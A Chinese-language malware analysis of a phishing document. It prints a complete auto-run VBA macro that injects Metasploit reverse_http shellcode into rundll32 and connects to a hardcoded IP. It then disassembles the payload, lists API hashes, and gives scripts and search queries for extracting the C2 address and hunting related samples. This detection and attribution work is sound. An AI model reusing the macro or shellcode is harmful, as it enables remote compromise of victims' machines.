文档类
HackTools
制作恶意钓鱼文档的多种工具
🌰举个栗子(比较简单经典)🌰
钓鱼文档中有恶意宏代码。
宏代码
如果没混淆的话,宏代码如:
Private Type PROCESS_INFORMATIONhProcess As LonghThread As LongdwProcessId As LongdwThreadId As LongEnd TypePrivate Type STARTUPINFOcb As LonglpReserved As StringlpDesktop As StringlpTitle As StringdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As LonghStdInput As LonghStdOutput As LonghStdError As LongEnd Type#If VBA7 ThenPrivate Declare PtrSafe Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtrPrivate Declare PtrSafe Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtrPrivate Declare PtrSafe Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtrPrivate Declare PtrSafe Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long#ElsePrivate Declare Function CreateStuff Lib \"kernel32\" Alias \"CreateRemoteThread\" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPrivate Declare Function AllocStuff Lib \"kernel32\" Alias \"VirtualAllocEx\" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPrivate Declare Function WriteStuff Lib \"kernel32\" Alias \"WriteProcessMemory\" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As LongPrivate Declare Function RunStuff Lib \"kernel32\" Alias \"CreateProcessA\" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long#End IfSub Auto_Open()Dim myByte As Long, myArray As Variant, offset As LongDim pInfo As PROCESS_INFORMATIONDim sInfo As STARTUPINFODim sNull As StringDim sProc As String#If VBA7 ThenDim rwxpage As LongPtr, res As LongPtr#ElseDim rwxpage As Long, res As Long#End IfmyArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _-43, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -124, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, 57, 48, 0, 0, 83, 80, 104, 87, -119, -97, _-58, -1, -43, -21, 112, 91, 49, -46, 82, 104, 0, 2, 64, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, 80, 49, -1, 87, 87, 106, -1, 83, 86, _104, 45, 6, 24, 123, -1, -43, -123, -64, 15, -124, -61, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, _-43, 49, -1, 87, 106, 7, 81, 86, 80, 104, -73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 116, -73, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, -117, -1, _-1, -1, 47, 80, 105, 57, 106, 0, -116, 26, -101, -104, -13, 94, 121, 5, -37, -68, -56, -67, 67, 34, 70, -109, -54, 94, 97, -60, 30, -15, -112, 59, 0, -63, -36, 90, 39, 12, -2, -72, _0, 125, 127, -122, -124, 100, 67, 69, -87, 93, -102, -61, -34, 73, -58, 14, -119, 95, -119, 59, 25, 109, -114, -42, 10, -69, -54, 18, -76, 36, -98, -127, 81, -124, -82, -14, -22, -100, -8, -45, _118, 0, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 52, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, _83, 73, 69, 32, 56, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 53, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 52, 46, 48, 59, 32, 81, 81, _68, 111, 119, 110, 108, 111, 97, 100, 32, 55, 51, 51, 59, 32, 73, 110, 102, 111, 80, 97, 116, 104, 46, 50, 41, 13, 10, 0, 82, 127, 15, 13, -7, 42, 27, 64, 118, -10, 79, 8, _-21, -78, 27, 35, 116, 68, -123, 81, -22, -72, 89, -73, 67, 42, -4, 82, -41, -74, 121, 126, 45, 106, -52, -24, -128, 35, 15, 55, 68, 29, 105, 113, 1, 40, 87, -16, 72, -72, 96, -70, _33, -122, -63, 27, -73, 2, -113, -109, -42, 122, 39, -12, -29, -52, 87, 0, -126, 114, -59, -126, -44, -23, 120, -115, -80, 126, -15, 36, -50, 108, 50, -73, -102, 81, -18, -39, -40, 42, -109, -18, _109, 20, -8, 78, -83, -103, 70, 113, 64, 56, 89, -24, -110, 81, -88, 94, -126, -71, 40, 93, 35, -101, 41, -59, 46, 36, -88, -32, -73, 19, 62, 93, -80, -55, 5, -57, 65, -62, 31, 89, _76, 98, -25, -25, -41, -41, -95, 52, -49, 116, -126, -7, 66, -63, 62, -128, -87, 92, -120, 126, -17, 15, -85, 89, -55, 9, -89, -82, -126, 51, 119, -91, 73, 79, 1, -37, 70, -94, -83, 71, _71, 86, -73, 98, 11, 101, 118, 67, -5, 106, 67, 94, -56, 21, -27, -14, 4, 115, 11, 29, -35, 58, -34, -38, -112, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, _104, 0, 0, 64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, _-123, -64, 116, -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -87, -3, -1, -1, 56, 49, 46, 54, 57, 46, 50, 53, 48, 46, 57, 55, 0, 0, 0, 0, 1)If Len(Environ(\"ProgramW6432\")) > 0 ThensProc = Environ(\"windir\") & \"\\\\SysWOW64\\\\rundll32.exe\"ElsesProc = Environ(\"windir\") & \"\\\\System32\\\\rundll32.exe\"End Ifres = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)For offset = LBound(myArray) To UBound(myArray)myByte = myArray(offset)res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)Next offsetres = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)End SubSub AutoOpen()Auto_OpenEnd SubSub Workbook_Open()Auto_OpenEnd Sub
用途
宏代码主要内容就是通过远程线程注入的方式,执行数组中保存的PayLoad。
将上面宏代码拆解为3个部分:
1. 宏代码基本架构:如[Sub,Len(Environ,函数名,LBound(myArray) To UBound(myArray)],在本例中都没有什么明显特征,基本不做检测规则使用。但如果出现有特殊固定的函数名时,或特殊的混淆方式是,可以作为检测方式或归因条件。比如某攻击者习惯保存数据的函数叫做“SaveAsDocx”,最终落地的文件名/文件夹包含字符串“aurora”。前者可以作为攻击载荷的溯源方式,后者可以作为APT(或组织)命名方式(像白象的HangOver就是如此)。如果字符串后面消失了改为更有特征的其他因素,或者发现可以归因到一个已存在的组织,那可以把字符串降级为行动名,比如某组织的Aurora行动。2. 执行ShellCode的API函数(字符串)和比较自定义的字符串CreateStuffCreateRemoteThreadAllocStuffVirtualAllocExWriteStuffWriteProcessMemoryRunStuffCreateProcessAmyArraymyByterwxpage3. 最终需要执行的ShellCode(数据)编码处理过的ShellCode
上述拆分的其中1和2,可以作为同源性的一些查找方式。比如此例中,通过宏代码搜索,可以发现大批同源样本:
macros.macros_code:"CreateStuff" ANDmacros.macros_code:"CreateRemoteThread" ANDmacros.macros_code:"AllocStuff" ANDmacros.macros_code:"VirtualAllocEx" ANDmacros.macros_code:"WriteStuff" ANDmacros.macros_code:"WriteProcessMemory" ANDmacros.macros_code:"RunStuff" ANDmacros.macros_code:"CreateProcessA" ANDmacros.macros_code:"Array" ANDmacros.macros_code:"LBound" ANDmacros.macros_code:"UBound" ANDmacros.macros_code:"rwxpage"
处理PayLoad
把PayLoad保存成文件,使用脚本将其转为无符号十六进制,代码如下:
import structimport binasciiarrayShellCode = []with open('[ShellCode.txt]', 'r') as f:for x in f:tmp = x.replace(' ', '').replace('_', '').strip().split(",")arrayShellCode += tmparrayShellCode = [int(y) for y in arrayShellCode if y]i = struct.pack("<{0}b".format(str(len(arrayShellCode))), *arrayShellCode)D2H = binascii.b2a_hex(i)print(D2H.decode().upper())

将汇编码复制到OD中动态调试:
FCE8890000006089E531D2648B52308B520C8B52148B72280FB74A2631FF31C0AC3C617C022C20C1CF0D01C7E2F052578B52108B423C01D08B407885C0744A01D0508B48188B582001D3E33C498B348B01D631FF31C0ACC1CF0D01C738E075F4037DF83B7D2475E2588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE0585F5A8B12EB865D686E6574006877696E6954684C772607FFD531FF5757575757683A5679A7FFD5E9840000005B31C951516A035151683930000053506857899FC6FFD5EB705B31D252680002408452525253525068EB552E3BFFD589C683C35031FF57576AFF5356682D06187BFFD585C00F84C301000031FF85F6740489F9EB0968AAC5E25DFFD589C16845215E31FFD531FF576A0751565068B757E00BFFD5BF002F000039C774B731FFE991010000E9C9010000E88BFFFFFF2F5069396A008C1A9B98F35E7905DBBCC8BD43224693CA5E61C41EF1903B00C1DC5A270CFEB8007D7F8684644345A95D9AC3DE49C60E895F893B196D8ED60ABBCA12B4249E815184AEF2EA9CF8D37600557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520382E303B2057696E646F7773204E5420352E313B2054726964656E742F342E303B205151446F776E6C6F6164203733333B20496E666F506174682E32290D0A00527F0F0DF92A1B4076F64F08EBB21B2374448551EAB859B7432AFC52D7B6797E2D6ACCE880230F37441D6971012857F048B860BA2186C11BB7028F93D67A27F4E3CC57008272C582D4E9788DB07EF124CE6C32B79A51EED9D82A93EE6D14F84EAD994671403859E89251A85E82B9285D239B29C52E24A8E0B7133E5DB0C905C741C21F594C62E7E7D7D7A134CF7482F942C13E80A95C887EEF0FAB59C909A7AE823377A5494F01DB46A2AD474756B7620B657643FB6A435EC815E5F204730B1DDD3ADEDA900068F0B5A256FFD56A4068001000006800004000576858A453E5FFD593B90000000001D9515389E7576800200000535668129689E2FFD585C074C68B0701C385C075E558C3E8A9FDFFFF38312E36392E3235302E39370000000001
或者如果只需要IP和端口的话,使用在线编码转换工具CyberChef看看IP和Port在哪里:
接下来拆解一下PayLoad汇编代码↓
🧐reverse_http.asm🧐
通过搜索特殊的值(除了ASM指令的那几个常数),可以发现解码出的ShellCode非常匹配reverse_http类型的ASM。 (Meterpreter中常用的Shell有:reverse_tcp、reverse_http、reverse_https、bind_tcp)
阅读Rapid7的GitHub(来自其产品metasploit框架)《reverse_http.asm》,可以知道PUSH的值,有部分是函数或者库的Hash值:
00000000 FC CLD00000001 E889000000 CALL -FFFFFF7100000006 60 PUSHA00000007 89E5 MOV EBP,ESP00000009 31D2 XOR EDX,EDX0000000B 648B5230 MOV EDX,DWORD PTR FS:[EDX+30]0000000F 8B520C MOV EDX,DWORD PTR [EDX+0C]00000012 8B5214 MOV EDX,DWORD PTR [EDX+14]00000015 8B7228 MOV ESI,DWORD PTR [EDX+28]00000018 0FB74A26 MOVZX ECX,WORD PTR [EDX+26]0000001C 31FF XOR EDI,EDI0000001E 31C0 XOR EAX,EAX00000020 AC LODS AL,BYTE PTR [ESI]00000021 3C61 CMP AL,6100000023 7C02 JL 0000002700000025 2C20 SUB AL,2000000027 C1CF0D ROR EDI,0D0000002A 01C7 ADD EDI,EAX0000002C E2F0 LOOP 0000001E0000002E 52 PUSH EDX0000002F 57 PUSH EDI00000030 8B5210 MOV EDX,DWORD PTR [EDX+10]00000033 8B423C MOV EAX,DWORD PTR [EDX+3C]00000036 01D0 ADD EAX,EDX00000038 8B4078 MOV EAX,DWORD PTR [EAX+78]0000003B 85C0 TEST EAX,EAX0000003D 744A JE 000000890000003F 01D0 ADD EAX,EDX00000041 50 PUSH EAX00000042 8B4818 MOV ECX,DWORD PTR [EAX+18]00000045 8B5820 MOV EBX,DWORD PTR [EAX+20]00000048 01D3 ADD EBX,EDX0000004A E33C JRCXZ 000000880000004C 49 DEC ECX0000004D 8B348B MOV ESI,DWORD PTR [EBX+ECX*4]00000050 01D6 ADD ESI,EDX00000052 31FF XOR EDI,EDI00000054 31C0 XOR EAX,EAX00000056 AC LODS AL,BYTE PTR [ESI]00000057 C1CF0D ROR EDI,0D0000005A 01C7 ADD EDI,EAX0000005C 38E0 CMP AL,AH0000005E 75F4 JNE 0000005400000060 037DF8 ADD EDI,DWORD PTR [EBP-08]00000063 3B7D24 CMP EDI,DWORD PTR [EBP+24]00000066 75E2 JNE 0000004A00000068 58 POP EAX00000069 8B5824 MOV EBX,DWORD PTR [EAX+24]0000006C 01D3 ADD EBX,EDX0000006E 668B0C4B MOV CX,WORD PTR [EBX+ECX*2]00000072 8B581C MOV EBX,DWORD PTR [EAX+1C]00000075 01D3 ADD EBX,EDX00000077 8B048B MOV EAX,DWORD PTR [EBX+ECX*4]0000007A 01D0 ADD EAX,EDX0000007C 89442424 MOV DWORD PTR [ESP+24],EAX00000080 5B POP EBX00000081 5B POP EBX00000082 61 POPA00000083 59 POP ECX00000084 5A POP EDX00000085 51 PUSH ECX00000086 FFE0 JMP EAX00000088 58 POP EAX00000089 5F POP EDI0000008A 5A POP EDX0000008B 8B12 MOV EDX,DWORD PTR [EDX]0000008D EB86 JMP 000000150000008F 5D POP EBP00000090 686E657400 PUSH 0074656E00000095 6877696E69 PUSH 696E69770000009A 54 PUSH ESP0000009B 684C772607 PUSH 0726774C ——hash("kernel32.dll","LoadLibraryA")000000A0 FFD5 CALL EBP000000A2 31FF XOR EDI,EDI000000A4 57 PUSH EDI000000A5 57 PUSH EDI000000A6 57 PUSH EDI000000A7 57 PUSH EDI000000A8 57 PUSH EDI000000A9 683A5679A7 PUSH A779563A ——hash("wininet.dll","InternetOpenA")000000AE FFD5 CALL EBP000000B0 E984000000 JMP -FFFFFEC7000000B5 5B POP EBX000000B6 31C9 XOR ECX,ECX000000B8 51 PUSH ECX000000B9 51 PUSH ECX000000BA 6A03 PUSH 00000003000000BC 51 PUSH ECX000000BD 51 PUSH ECX000000BE 6850000000 PUSH 00000050000000C3 53 PUSH EBX000000C4 50 PUSH EAX 下面就简写了000000C5 6857899FC6 PUSH C69F8957 ——hash(InternetConnectA)000000CA FFD5 CALL EBP000000CC EB70 JMP 0000013E000000CE 5B POP EBX000000CF 31D2 XOR EDX,EDX000000D1 52 PUSH EDX000000D2 6800024084 PUSH 84400200000000D7 52 PUSH EDX000000D8 52 PUSH EDX000000D9 52 PUSH EDX000000DA 53 PUSH EBX000000DB 52 PUSH EDX000000DC 50 PUSH EAX000000DD 68EB552E3B PUSH 3B2E55EB ——hash(HttpOpenRequestA)000000E2 FFD5 CALL EBP000000E4 89C6 MOV ESI,EAX000000E6 83C350 ADD EBX,00000050000000E9 31FF XOR EDI,EDI000000EB 57 PUSH EDI000000EC 57 PUSH EDI000000ED 6AFF PUSH FFFFFFFF000000EF 53 PUSH EBX000000F0 56 PUSH ESI000000F1 682D06187B PUSH 7B18062D ——hash(HttpSendRequestA)000000F6 FFD5 CALL EBP000000F8 85C0 TEST EAX,EAX000000FA 0F84C3010000 JE -FFFFFD3D00000100 31FF XOR EDI,EDI00000102 85F6 TEST ESI,ESI00000104 7404 JE 0000010A00000106 89F9 MOV ECX,EDI00000108 EB09 JMP 000001130000010A 68AAC5E25D PUSH 5DE2C5AA0000010F FFD5 CALL EBP00000111 89C1 MOV ECX,EAX00000113 6845215E31 PUSH 315E214500000118 FFD5 CALL EBP0000011A 31FF XOR EDI,EDI0000011C 57 PUSH EDI0000011D 6A07 PUSH 000000070000011F 51 PUSH ECX00000120 56 PUSH ESI00000121 50 PUSH EAX00000122 68B757E00B PUSH 0BE057B700000127 FFD5 CALL EBP00000129 BF002F0000 MOV EDI,00002F000000012E 39C7 CMP EDI,EAX00000130 74B7 JE 000000E900000132 31FF XOR EDI,EDI00000134 E991010000 JMP -FFFFFD3600000139 E9C9010000 JMP -FFFFFCF90000013E E88BFFFFFF CALL 000000CE00000143 2F DAS00000144 387162 CMP BYTE PTR [ECX+62],DH00000147 51 PUSH ECX00000148 00E3 ADD BL,AH0000014A 1B09 SBB ECX,DWORD PTR [ECX]0000014C A97E3E73CD TEST EAX,CD733E7E00000151 27 DAA00000152 5A POP EDX00000153 DCE2 FSUBR ST(2),ST00000155 F3B35F REP MOV BL,5F00000158 C9 LEAVE00000159 383C32 CMP BYTE PTR [EDX+ESI],BH0000015C E400 IN AL,000000015E 2AA5DB6D91A9 SUB AH,BYTE PTR [EBP-566E9225]00000164 55 PUSH EBP00000165 60 PUSHA00000166 58 POP EAX00000167 16 PUSH SS00000168 36B6A7 MOV DH,A70000016B 297D22 SUB DWORD PTR [EBP+22],EDI0000016E 284C213E SUB BYTE PTR [ECX+3E],CL00000172 A968E0E07F TEST EAX,7FE0E06800000177 87FA XCHG EDI,EDX00000179 0F8CEF7E8786 JL -79787F920000017F A28381BDD6 MOV BYTE PTR [D6BD8183],AL00000184 4D DEC EBP00000185 4D DEC EBP00000186 47 INC EDI00000187 8516 TEST DWORD PTR [ESI],EDX00000189 54 PUSH ESP0000018A 49 DEC ECX0000018B 6D INS DWORD PTR [EDI],DX0000018C 73E5 JAE 000001730000018E 3D5513D600 CMP EAX,00D6135500000193 55 PUSH EBP00000194 7365 JAE 000001FB00000196 722D JB 000001C500000198 41 INC ECX00000199 67656E OUTS DX,BYTE PTR GS:[SI]0000019C 743A JE 000001D80000019E 204D6F AND BYTE PTR [EBP+6F],CL000001A1 7A69 JP 0000020C000001A3 6C INS BYTE PTR [EDI],DX000001A4 6C INS BYTE PTR [EDI],DX000001A5 61 POPA000001A6 2F DAS000001A7 352E302028 XOR EAX,2820302E000001AC 636F6D ARPL WORD PTR [EDI+6D],BP000001AF 7061 JO 00000212000001B1 7469 JE 0000021C000001B3 626C653B BOUND EBP,QWORD PTR [EBP+3B]000001B7 204D53 AND BYTE PTR [EBP+53],CL000001BA 49 DEC ECX000001BB 45 INC EBP000001BC 2039 AND BYTE PTR [ECX],BH000001BE 2E303B XOR BYTE PTR CS:[EBX],BH000001C1 205769 AND BYTE PTR [EDI+69],DL000001C4 6E OUTS DX,BYTE PTR [ESI]000001C5 646F OUTS DX,DWORD PTR FS:[ESI]000001C7 7773 JA 0000023C000001C9 204E54 AND BYTE PTR [ESI+54],CL000001CC 2036 AND BYTE PTR [ESI],DH000001CE 2E313B XOR DWORD PTR CS:[EBX],EDI000001D1 20547269 AND BYTE PTR [EDX+ESI*2+69],DL000001D5 64656E OUTS DX,BYTE PTR GS:[ESI]000001D8 742F JE 00000209000001DA 352E303B20 XOR EAX,203B302E000001DF 58 POP EAX000001E0 42 INC EDX000001E1 4C DEC ESP000001E2 57 PUSH EDI000001E3 50 PUSH EAX000001E4 37 AAA000001E5 3B20 CMP ESP,DWORD PTR [EAX]000001E7 5A POP EDX000001E8 756E JNE 00000258000001EA 6557 PUSH EDI000001EC 50 PUSH EAX000001ED 37 AAA000001EE 290D0A0082EE SUB DWORD PTR [-117DFE02],ECX000001F4 B89E3809B6 MOV EAX,B609389E000001F9 038C604F65E219 ADD ECX,DWORD PTR [EAX+19E2654F]00000200 6334C4 ARPL WORD PTR [ESP+EAX*8],SI00000203 B8FEEBD35B MOV EAX,5BD3EBFE00000208 D811 FCOM DWORD PTR [ECX]0000020A 61 POPA0000020B FA CLI0000020C AF SCAS EAX,DWORD PTR [EDI]0000020D F5 CMC0000020E 688518A8FC PUSH FCA8188500000213 DAA5D72C4B92 FISUB DWORD PTR [EBP-6DB4D329]00000219 57 PUSH EDI0000021A AC LODS AL,BYTE PTR [ESI]0000021B 6F OUTS DX,DWORD PTR [ESI]0000021C 37 AAA0000021D 117A44 ADC DWORD PTR [EDX+44],EDI00000220 50 PUSH EAX00000221 DE83959A48D2 FIADD WORD PTR [EBX-2DB7656B]00000227 E9DED90E64 JMP -9BF123F60000022C 95 XCHG EAX,EBP0000022D 7A1F JP 0000024E0000022F D5EE AADB EE00000231 D663CC82D0 VMULHPU V2{K4},V9,V8{DDDD}00000236 71C7 JNO 000001FF00000238 08903A921387 OR BYTE PTR [EAX-78EC6DC6],DL0000023E 4D DEC EBP0000023F 65CF IRETD00000241 EC IN AL,DX00000242 94 XCHG EAX,ESP00000243 6A15 PUSH 0000001500000245 A3D475B737 MOV DWORD PTR [37B775D4],EAX0000024A EBDA JMP 000002260000024C 49 DEC ECX0000024D CACCB0 RETF B0CC00000250 32D7 XOR DL,BH00000252 70B9 JO 0000020D00000254 832034 AND DWORD PTR [EAX],0000003400000257 E927DFD037 JMP -C82F1E7D0000025C 49 DEC ECX0000025D B153 MOV CL,530000025F 2314FB AND EDX,DWORD PTR [EBX+EDI*8]00000262 2D12303776 SUB EAX,7637301200000267 1F POP DS00000268 00D6 ADD DH,DL0000026A CA2172 RETF 72210000026D CE INTO0000026E 3450 XOR AL,5000000270 82CCC4 OR AH,C400000273 D480 AAMB 8000000275 1CF3 SBB AL,F300000277 52 PUSH EDX00000278 8D4103 LEA EAX,[ECX+03]0000027B 55 PUSH EBP0000027C 66E730 OUT 30,AX0000027F F01BA5D760D627 LOCK SBB ESP,DWORD PTR [EBP+27D660D7]00000286 B4D7 MOV AH,D700000288 05B85EC22B ADD EAX,2BC25EB80000028D 267547 JNE 000002D700000290 12F2 ADC DH,DL00000292 A6 CMPS BYTE PTR [EDI],BYTE PTR [ESI]00000293 37 AAA00000294 C7 ???00000295 AF SCAS EAX,DWORD PTR [EDI]00000296 68C7C0A316 PUSH 16A3C0C70000029B D327 SHL DWORD PTR [EDI],CL0000029D DA23 FISUB DWORD PTR [EBX]0000029F 58 POP EAX000002A0 AE SCAS AL,BYTE PTR [EDI]000002A1 72F5 JB 00000298000002A3 A7 CMPS DWORD PTR [EDI],DWORD PTR [ESI]000002A4 CA01E8 RETF E801000002A7 AF SCAS EAX,DWORD PTR [EDI]000002A8 06 PUSH ES000002A9 B2C2 MOV DL,C2000002AB 2A3C64 SUB BH,BYTE PTR [ESP]000002AE A093521CC5 MOV AL,BYTE PTR [C51C5293]000002B3 0C41 OR AL,41000002B5 61 POPA000002B6 2ABBE39CD922 SUB BH,BYTE PTR [EBX+22D99CE3]000002BC F772D1 DIV EAX,DWORD PTR [EDX-2F]000002BF A1CC2A0068 MOV EAX,DWORD PTR [68002ACC]000002C4 F0B5A2 LOCK MOV CH,A2000002C7 56 PUSH ESI000002C8 FFD5 CALL EBP000002CA 6A40 PUSH 00000040000002CC 6800100000 PUSH 00001000000002D1 6800004000 PUSH 00400000000002D6 57 PUSH EDI000002D7 6858A453E5 PUSH E553A458 ——hash(VirtualAlloc)000002DC FFD5 CALL EBP000002DE 93 XCHG EAX,EBX000002DF B900000000 MOV ECX,00000000000002E4 01D9 ADD ECX,EBX000002E6 51 PUSH ECX000002E7 53 PUSH EBX000002E8 89E7 MOV EDI,ESP000002EA 57 PUSH EDI000002EB 6800200000 PUSH 00002000000002F0 53 PUSH EBX000002F1 56 PUSH ESI000002F2 68129689E2 PUSH E2899612 ——hash(InternetReadFile)000002F7 FFD5 CALL EBP000002F9 85C0 TEST EAX,EAX000002FB 74C6 JE 000002C3000002FD 8B07 MOV EAX,DWORD PTR [EDI]000002FF 01C3 ADD EBX,EAX00000301 85C0 TEST EAX,EAX00000303 75E5 JNE 000002EA00000305 58 POP EAX00000306 C3 RET00000307 E8A9FDFFFF CALL 000000B50000030C 3135392E3735 XOR DWORD PTR [-CAC8CEB5],ESI00000312 2E3131 XOR DWORD PTR CS:[ECX],ESI00000315 362E3138 XOR DWORD PTR CS:[EAX],EDI00000319 0000 ADD BYTE PTR [EAX],AL0000031B 0000 ADD BYTE PTR [EAX],AL0000031D 01 ADD DWORD PTR [EAX],EAX
反向Shell或者一些恶意代码框架(如Metasploit-Framework),常使用这种方式执行ShellCode,建议眼熟一下,特别是常用的API的Hash值(注入,网络连接等),以最常见的Windows系统32位的为例:
0x006B8029, ws2_32.dll!WSAStartup0xE0DF0FEA, ws2_32.dll!WSASocketA0x6737DBC2, ws2_32.dll!bind0xFF38E9B7, ws2_32.dll!listen0xE13BEC74, ws2_32.dll!accept0x614D6E75, ws2_32.dll!closesocket0x6174A599, ws2_32.dll!connect0x5FC8D902, ws2_32.dll!recv0x5F38EBC2, ws2_32.dll!send0x709D8805, winhttp.dll!WinHttpReceiveResponse0x91BB5895, winhttp.dll!WinHttpSendRequest0xCE9D58D3, winhttp.dll!WinHttpSetOption0xE2899612, wininet.dll!InternetReadFile0x7B18062D, wininet.dll!HttpSendRequestA0xA779563A, wininet.dll!InternetOpenA0x3B2E55EB, wininet.dll!HttpOpenRequestA0xC69F8957, wininet.dll!InternetConnectA0x5BAE572D, kernel32.dll!WriteFile0x4FDAF6DA, kernel32.dll!CreateFileA0x13DD2ED7, kernel32.dll!DeleteFileA0xE449F330, kernel32.dll!GetTempPathA0x528796C6, kernel32.dll!CloseHandle0x863FCC79, kernel32.dll!CreateProcessA0xE553A458, kernel32.dll!VirtualAlloc0x300F2F0B, kernel32.dll!VirtualFree0x0726774C, kernel32.dll!LoadLibraryA0x7802F749, kernel32.dll!GetProcAddress0x601D8708, kernel32.dll!WaitForSingleObject0x876F8B31, kernel32.dll!WinExec0x9DBD95A6, kernel32.dll!GetVersion0xEA320EFE, kernel32.dll!SetUnhandledExceptionFilter0x56A2B5F0, kernel32.dll!ExitProcess0x0A2A1DE0, kernel32.dll!ExitThread
现在不行了,HW的时候天天看,记得很清晰
调用函数的特征为,PUSH函数或库的Hash然后Call哈希寻址函数:
PUSH [0-F]{8}CALL EBP
提取IP脚本(reverse_http)
官方的说明文档可能在没头绪或者不熟悉的时候,还是不太好找的。有时间的话尽可能自己调试出来,找到数据存放位置。或者碰运气的话,还可以通过对比同类型的ShellCode,看看不同处:
可以发现reverse_http类的PayLoad,IP以十六进制格式(E8A9FDFFFF(.+?)0000000001)保存在PayLoad末尾处:
import binasciiimport reimport structarrayShellCode = []pathFile = ".\\PayLoad"with open(pathFile, 'r') as f:for x in f:tmp = x.replace(' ', '').replace('_', '').strip().split(",")arrayShellCode += tmparrayShellCode = [int(y) for y in arrayShellCode if y]i = struct.pack("<{0}b".format(str(len(arrayShellCode))), *arrayShellCode)D2H = binascii.b2a_hex(i)print("——————————PayLoad统一转为HEX格式——————————")print(D2H.decode().upper())print("——————————正则匹配十六进制IP——————————")reserveHTTP = re.findall(r"E8A9FDFFFF(.+?)0000000001", D2H.decode('utf-8').upper(), re.IGNORECASE)[0]print(reserveHTTP)print("——————————十六进制IP转为ASCII码——————————")print(binascii.a2b_hex(reserveHTTP).decode('utf8'))
精简路径
对于初始载荷,检索方式有:
macros.macros_code:"CreateStuff" ANDmacros.macros_code:"CreateRemoteThread" ANDmacros.macros_code:"AllocStuff" ANDmacros.macros_code:"VirtualAllocEx" ANDmacros.macros_code:"WriteStuff" ANDmacros.macros_code:"WriteProcessMemory" ANDmacros.macros_code:"RunStuff" ANDmacros.macros_code:"CreateProcessA" ANDmacros.macros_code:"Array" ANDmacros.macros_code:"LBound" ANDmacros.macros_code:"UBound" ANDmacros.macros_code:"rwxpage" ANDmacros.macros_code:"0, 0, 0, 0, 1)"
